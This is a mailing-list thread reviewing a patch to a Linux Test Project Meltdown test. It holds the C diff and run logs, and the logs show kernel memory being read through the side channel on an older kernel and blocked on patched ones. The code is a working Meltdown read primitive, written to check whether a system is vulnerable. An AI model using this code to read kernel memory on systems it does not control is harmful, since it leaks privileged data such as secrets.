Message ID | 761d2d176c0765f3913e140191ceaf83aa745424.1529495077.git.jstancek@redhat.com |
---|---|
State | Accepted |
Headers | show |
Series | cve/meltdown: read *saved_command_line | expand |
Hi Jan, On Wed, Jun 20, 2018 at 7:51 PM, Jan Stancek <jstancek@redhat.com> wrote: > After commit 8c06c7740d19 ("x86/pti: Leave kernel text global for !PCID"), > kernel can now map all of kernel text into the user page tables. > So, read of "linux_proc_banner" can succeed and report a false positive. > > This patch changes the test to read value of "saved_command_line" > pointer and then also memory pointed to by it. And compares result > (first 32 bytes) to /proc/cmdline. saved_command_line string is > allocated dynamically and falls outside of (_text, _end) area: > crash> p/x _text > $2 = 0xffffffff81000000 <startup_64> > crash> p/x _end > $3 = 0xffffffff82411000 > crash> p/x &saved_command_line > $4 = 0xffffffff81cf3008 > crash> p/x saved_command_line > $5 = 0xffff88007ff55100 > so test should work on kernels with and without the patch. Awesome! I tried this on a kvm guest(didn't have pcid && pti_mode == PTI_AUTO) which leaving all kernel text global, the program was able to read '&saved_command_line'(which located in kernel text area) and 'saved_command_line' value, but it could NOT read the content of saved_command_line point to. So I think this patch is making sense. # uname -r 4.18.0-rc1.fi+ # systemd-detect-virt kvm # journalctl |grep isolation Jun 22 01:13:43 localhost.localdomain kernel: Kernel/User page tables isolation: enabled # ./meltdown tst_test.c:1015: INFO: Timeout per run is 0h 05m 00s meltdown.c:259: INFO: access time: cached = 77, uncached = 272, threshold = 144 meltdown.c:309: INFO: &saved_command_line == 0xffffffff86f90240 meltdown.c:342: INFO: read ffffffff86f90240 = 0x80 meltdown.c:342: INFO: read ffffffff86f90241 = 0xc5 meltdown.c:342: INFO: read ffffffff86f90242 = 0xf4 meltdown.c:342: INFO: read ffffffff86f90243 = 0x7f meltdown.c:342: INFO: read ffffffff86f90244 = 0x01 meltdown.c:342: INFO: read ffffffff86f90245 = 0x88 meltdown.c:342: INFO: read ffffffff86f90246 = 0xff meltdown.c:342: INFO: read ffffffff86f90247 = 0xff meltdown.c:350: INFO: save_command_line: 0xffff88017ff4c580 meltdown.c:362: INFO: read ffff88017ff4c580 = 0x00 | expected 0x42 | match: 0 meltdown.c:362: INFO: read ffff88017ff4c581 = 0x00 | expected 0x4f | match: 0 meltdown.c:362: INFO: read ffff88017ff4c582 = 0x00 | expected 0x4f | match: 0 meltdown.c:362: INFO: read ffff88017ff4c583 = 0x00 | expected 0x54 | match: 0 meltdown.c:362: INFO: read ffff88017ff4c584 = 0x00 | expected 0x5f | match: 0 meltdown.c:362: INFO: read ffff88017ff4c585 = 0x00 | expected 0x49 | match: 0 meltdown.c:362: INFO: read ffff88017ff4c586 = 0x00 | expected 0x4d | match: 0 meltdown.c:362: INFO: read ffff88017ff4c587 = 0x00 | expected 0x41 | match: 0 meltdown.c:362: INFO: read ffff88017ff4c588 = 0x00 | expected 0x47 | match: 0 meltdown.c:362: INFO: read ffff88017ff4c589 = 0x00 | expected 0x45 | match: 0 meltdown.c:362: INFO: read ffff88017ff4c58a = 0x00 | expected 0x3d | match: 0 meltdown.c:362: INFO: read ffff88017ff4c58b = 0x00 | expected 0x2f | match: 0 meltdown.c:362: INFO: read ffff88017ff4c58c = 0x00 | expected 0x76 | match: 0 meltdown.c:362: INFO: read ffff88017ff4c58d = 0x00 | expected 0x6d | match: 0 meltdown.c:362: INFO: read ffff88017ff4c58e = 0x00 | expected 0x6c | match: 0 meltdown.c:362: INFO: read ffff88017ff4c58f = 0x00 | expected 0x69 | match: 0 meltdown.c:362: INFO: read ffff88017ff4c590 = 0x00 | expected 0x6e | match: 0 meltdown.c:362: INFO: read ffff88017ff4c591 = 0x00 | expected 0x75 | match: 0 meltdown.c:362: INFO: read ffff88017ff4c592 = 0x00 | expected 0x7a | match: 0 meltdown.c:362: INFO: read ffff88017ff4c593 = 0x00 | expected 0x2d | match: 0 meltdown.c:362: INFO: read ffff88017ff4c594 = 0x00 | expected 0x34 | match: 0 meltdown.c:362: INFO: read ffff88017ff4c595 = 0x00 | expected 0x2e | match: 0 meltdown.c:362: INFO: read ffff88017ff4c596 = 0x00 | expected 0x31 | match: 0 meltdown.c:362: INFO: read ffff88017ff4c597 = 0x00 | expected 0x38 | match: 0 meltdown.c:362: INFO: read ffff88017ff4c598 = 0x00 | expected 0x2e | match: 0 meltdown.c:362: INFO: read ffff88017ff4c599 = 0x00 | expected 0x30 | match: 0 meltdown.c:362: INFO: read ffff88017ff4c59a = 0x00 | expected 0x2d | match: 0 meltdown.c:362: INFO: read ffff88017ff4c59b = 0x00 | expected 0x72 | match: 0 meltdown.c:362: INFO: read ffff88017ff4c59c = 0x00 | expected 0x63 | match: 0 meltdown.c:362: INFO: read ffff88017ff4c59d = 0x00 | expected 0x31 | match: 0 meltdown.c:362: INFO: read ffff88017ff4c59e = 0x00 | expected 0x2e | match: 0 meltdown.c:362: INFO: read ffff88017ff4c59f = 0x00 | expected 0x66 | match: 0 meltdown.c:375: PASS: I was not able to read your kernel memory meltdown.c:376: INFO: score(matched/all): 0 / 32 Summary: passed 1 failed 0 skipped 0 warnings 0 > > Signed-off-by: Jan Stancek <jstancek@redhat.com> Reviewed-by: Li Wang <liwang@redhat.com>
Hi! Looking at kernel git the saved_command_line is allocated dynamically since 2.6.21 which I guess is old enough but we may as well mention this in the commit message: commit 30d7e0d466b3ac0b5ef77e4062bf9385f0d72270 Author: Alon Bar-Lev <alon.barlev@gmail.com> Date: Mon Feb 12 00:53:52 2007 -0800 [PATCH] Dynamic kernel command-line: common Other than that it looks good, acked.
----- Original Message ----- > Hi! > Looking at kernel git the saved_command_line is allocated dynamically > since 2.6.21 which I guess is old enough but we may as well mention this > in the commit message: > > commit 30d7e0d466b3ac0b5ef77e4062bf9385f0d72270 > Author: Alon Bar-Lev <alon.barlev@gmail.com> > Date: Mon Feb 12 00:53:52 2007 -0800 > > [PATCH] Dynamic kernel command-line: common I added this to commit message. It should be old enough, we run the test on kernels older than 2.6.32 anyway. > Other than that it looks good, acked. Thanks, pushed. Jan
diff --git a/testcases/cve/meltdown.c b/testcases/cve/meltdown.c index dce84a0c316b..a53ea9b8e533 100644 --- a/testcases/cve/meltdown.c +++ b/testcases/cve/meltdown.c @@ -189,7 +189,7 @@ readbit(int fd, unsigned long addr, char bit) for (i = 0; i < CYCLES; i++) { ret = pread(fd, buf, sizeof(buf), 0); if (ret < 0) - tst_res(TBROK | TERRNO, "can't read /proc/version"); + tst_res(TBROK | TERRNO, "can't read fd"); clflush_target(); @@ -298,17 +298,17 @@ find_kernel_symbol(const char *name) return addr; } -unsigned long linux_proc_banner_addr; -int banner_fd; +static unsigned long saved_cmdline_addr; +static int spec_fd; static void setup(void) { set_cache_hit_threshold(); - linux_proc_banner_addr = find_kernel_symbol("linux_proc_banner"); - tst_res(TINFO, "linux_proc_banner is at %lx", linux_proc_banner_addr); + saved_cmdline_addr = find_kernel_symbol("saved_command_line"); + tst_res(TINFO, "&saved_command_line == 0x%lx", saved_cmdline_addr); - banner_fd = SAFE_OPEN("/proc/version", O_RDONLY); + spec_fd = SAFE_OPEN("/proc/cmdline", O_RDONLY); memset(target_array, 1, sizeof(target_array)); @@ -316,37 +316,69 @@ static void setup(void) tst_res(TBROK | TERRNO, "set_signal"); } +#define READ_SIZE 32 + static void run(void) { - unsigned int i, score, ret; - static char expected[] = "%s version %s"; - static char read[32]; - unsigned long addr = linux_proc_banner_addr; - unsigned long size = sizeof(expected) - 1; - + unsigned int i, score = 0, ret; + unsigned long addr; + unsigned long size; + char read[READ_SIZE] = { 0 }; + char expected[READ_SIZE] = { 0 }; + int expected_len; + + expected_len = pread(spec_fd, expected, sizeof(expected), 0); + if (expected_len < 0) + tst_res(TBROK | TERRNO, "can't read test fd"); + + /* read address of saved_cmdline_addr */ + addr = saved_cmdline_addr; + size = sizeof(addr); for (i = 0; i < size; i++) { - ret = readbyte(banner_fd, addr); + ret = readbyte(spec_fd, addr); read[i] = ret; - tst_res(TINFO, "read %lx = 0x%x %c", addr, ret, + tst_res(TINFO, "read %lx = 0x%02x %c", addr, ret, isprint(ret) ? ret : ' '); addr++; } - for (score = 0, i = 0; i < size; i++) + /* read value pointed to by saved_cmdline_addr */ + memcpy(&addr, read, sizeof(addr)); + memset(read, 0, sizeof(read)); + tst_res(TINFO, "save_command_line: 0x%lx", addr); + size = expected_len; + + if (!addr) + goto done; + + for (i = 0; i < size; i++) { + ret = readbyte(spec_fd, addr); + + read[i] = ret; + tst_res(TINFO, "read %lx = 0x%02x %c | expected 0x%02x |" + " match: %d", addr, ret, isprint(ret) ? ret : ' ', + expected[i], read[i] == expected[i]); + + addr++; + } + + for (i = 0; i < size; i++) if (expected[i] == read[i]) score++; +done: if (score > size / 2) tst_res(TFAIL, "I was able to read your kernel memory!!!"); else tst_res(TPASS, "I was not able to read your kernel memory"); + tst_res(TINFO, "score(matched/all): %u / %lu", score, size); } static void cleanup(void) { - SAFE_CLOSE(banner_fd); + SAFE_CLOSE(spec_fd); } static struct tst_test test = {
After commit 8c06c7740d19 ("x86/pti: Leave kernel text global for !PCID"), kernel can now map all of kernel text into the user page tables. So, read of "linux_proc_banner" can succeed and report a false positive. This patch changes the test to read value of "saved_command_line" pointer and then also memory pointed to by it. And compares result (first 32 bytes) to /proc/cmdline. saved_command_line string is allocated dynamically and falls outside of (_text, _end) area: crash> p/x _text $2 = 0xffffffff81000000 <startup_64> crash> p/x _end $3 = 0xffffffff82411000 crash> p/x &saved_command_line $4 = 0xffffffff81cf3008 crash> p/x saved_command_line $5 = 0xffff88007ff55100 so test should work on kernels with and without the patch. Signed-off-by: Jan Stancek <jstancek@redhat.com> --- testcases/cve/meltdown.c | 64 ++++++++++++++++++++++++++++++++++++------------ 1 file changed, 48 insertions(+), 16 deletions(-) 1. older kernel: 3.10.0-693.el7.x86_64 # ./meltdown tst_test.c:1015: INFO: Timeout per run is 0h 05m 00s meltdown.c:259: INFO: access time: cached = 61, uncached = 501, threshold = 174 meltdown.c:309: INFO: &saved_command_line == 0xffffffff81cf3008 meltdown.c:342: INFO: read ffffffff81cf3008 = 0x00 meltdown.c:342: INFO: read ffffffff81cf3009 = 0x51 Q meltdown.c:342: INFO: read ffffffff81cf300a = 0xf5 meltdown.c:342: INFO: read ffffffff81cf300b = 0x7f meltdown.c:342: INFO: read ffffffff81cf300c = 0x00 meltdown.c:342: INFO: read ffffffff81cf300d = 0x88 meltdown.c:342: INFO: read ffffffff81cf300e = 0xff meltdown.c:342: INFO: read ffffffff81cf300f = 0xff meltdown.c:350: INFO: save_command_line: 0xffff88007ff55100 meltdown.c:362: INFO: read ffff88007ff55100 = 0x42 B | expected 0x42 | match: 1 meltdown.c:362: INFO: read ffff88007ff55101 = 0x4f O | expected 0x4f | match: 1 meltdown.c:362: INFO: read ffff88007ff55102 = 0x4f O | expected 0x4f | match: 1 meltdown.c:362: INFO: read ffff88007ff55103 = 0x54 T | expected 0x54 | match: 1 meltdown.c:362: INFO: read ffff88007ff55104 = 0x5f _ | expected 0x5f | match: 1 meltdown.c:362: INFO: read ffff88007ff55105 = 0x49 I | expected 0x49 | match: 1 meltdown.c:362: INFO: read ffff88007ff55106 = 0x4d M | expected 0x4d | match: 1 meltdown.c:362: INFO: read ffff88007ff55107 = 0x41 A | expected 0x41 | match: 1 meltdown.c:362: INFO: read ffff88007ff55108 = 0x47 G | expected 0x47 | match: 1 meltdown.c:362: INFO: read ffff88007ff55109 = 0x45 E | expected 0x45 | match: 1 meltdown.c:362: INFO: read ffff88007ff5510a = 0x3d = | expected 0x3d | match: 1 meltdown.c:362: INFO: read ffff88007ff5510b = 0x2f / | expected 0x2f | match: 1 meltdown.c:362: INFO: read ffff88007ff5510c = 0x76 v | expected 0x76 | match: 1 meltdown.c:362: INFO: read ffff88007ff5510d = 0x6d m | expected 0x6d | match: 1 meltdown.c:362: INFO: read ffff88007ff5510e = 0x6c l | expected 0x6c | match: 1 meltdown.c:362: INFO: read ffff88007ff5510f = 0x69 i | expected 0x69 | match: 1 meltdown.c:362: INFO: read ffff88007ff55110 = 0x6e n | expected 0x6e | match: 1 meltdown.c:362: INFO: read ffff88007ff55111 = 0x75 u | expected 0x75 | match: 1 meltdown.c:362: INFO: read ffff88007ff55112 = 0x7a z | expected 0x7a | match: 1 meltdown.c:362: INFO: read ffff88007ff55113 = 0x2d - | expected 0x2d | match: 1 meltdown.c:362: INFO: read ffff88007ff55114 = 0x33 3 | expected 0x33 | match: 1 meltdown.c:362: INFO: read ffff88007ff55115 = 0x2e . | expected 0x2e | match: 1 meltdown.c:362: INFO: read ffff88007ff55116 = 0x31 1 | expected 0x31 | match: 1 meltdown.c:362: INFO: read ffff88007ff55117 = 0x30 0 | expected 0x30 | match: 1 meltdown.c:362: INFO: read ffff88007ff55118 = 0x2e . | expected 0x2e | match: 1 meltdown.c:362: INFO: read ffff88007ff55119 = 0x30 0 | expected 0x30 | match: 1 meltdown.c:362: INFO: read ffff88007ff5511a = 0x2d - | expected 0x2d | match: 1 meltdown.c:362: INFO: read ffff88007ff5511b = 0x36 6 | expected 0x36 | match: 1 meltdown.c:362: INFO: read ffff88007ff5511c = 0x39 9 | expected 0x39 | match: 1 meltdown.c:362: INFO: read ffff88007ff5511d = 0x33 3 | expected 0x33 | match: 1 meltdown.c:362: INFO: read ffff88007ff5511e = 0x2e . | expected 0x2e | match: 1 meltdown.c:362: INFO: read ffff88007ff5511f = 0x65 e | expected 0x65 | match: 1 meltdown.c:373: FAIL: I was able to read your kernel memory!!! meltdown.c:376: INFO: score(matched/all): 32 / 32 2. recent upstream kernel: 4.17+ # ./meltdown tst_test.c:1015: INFO: Timeout per run is 0h 05m 00s meltdown.c:259: INFO: access time: cached = 49, uncached = 332, threshold = 127 meltdown.c:309: INFO: &saved_command_line == 0xffffffffaa993008 meltdown.c:342: INFO: read ffffffffaa993008 = 0x00 meltdown.c:342: INFO: read ffffffffaa993009 = 0x00 meltdown.c:342: INFO: read ffffffffaa99300a = 0x00 meltdown.c:342: INFO: read ffffffffaa99300b = 0x00 meltdown.c:342: INFO: read ffffffffaa99300c = 0x00 meltdown.c:342: INFO: read ffffffffaa99300d = 0x00 meltdown.c:342: INFO: read ffffffffaa99300e = 0x00 meltdown.c:342: INFO: read ffffffffaa99300f = 0x00 meltdown.c:350: INFO: save_command_line: 0x0 meltdown.c:375: PASS: I was not able to read your kernel memory meltdown.c:376: INFO: score(matched/all): 0 / 32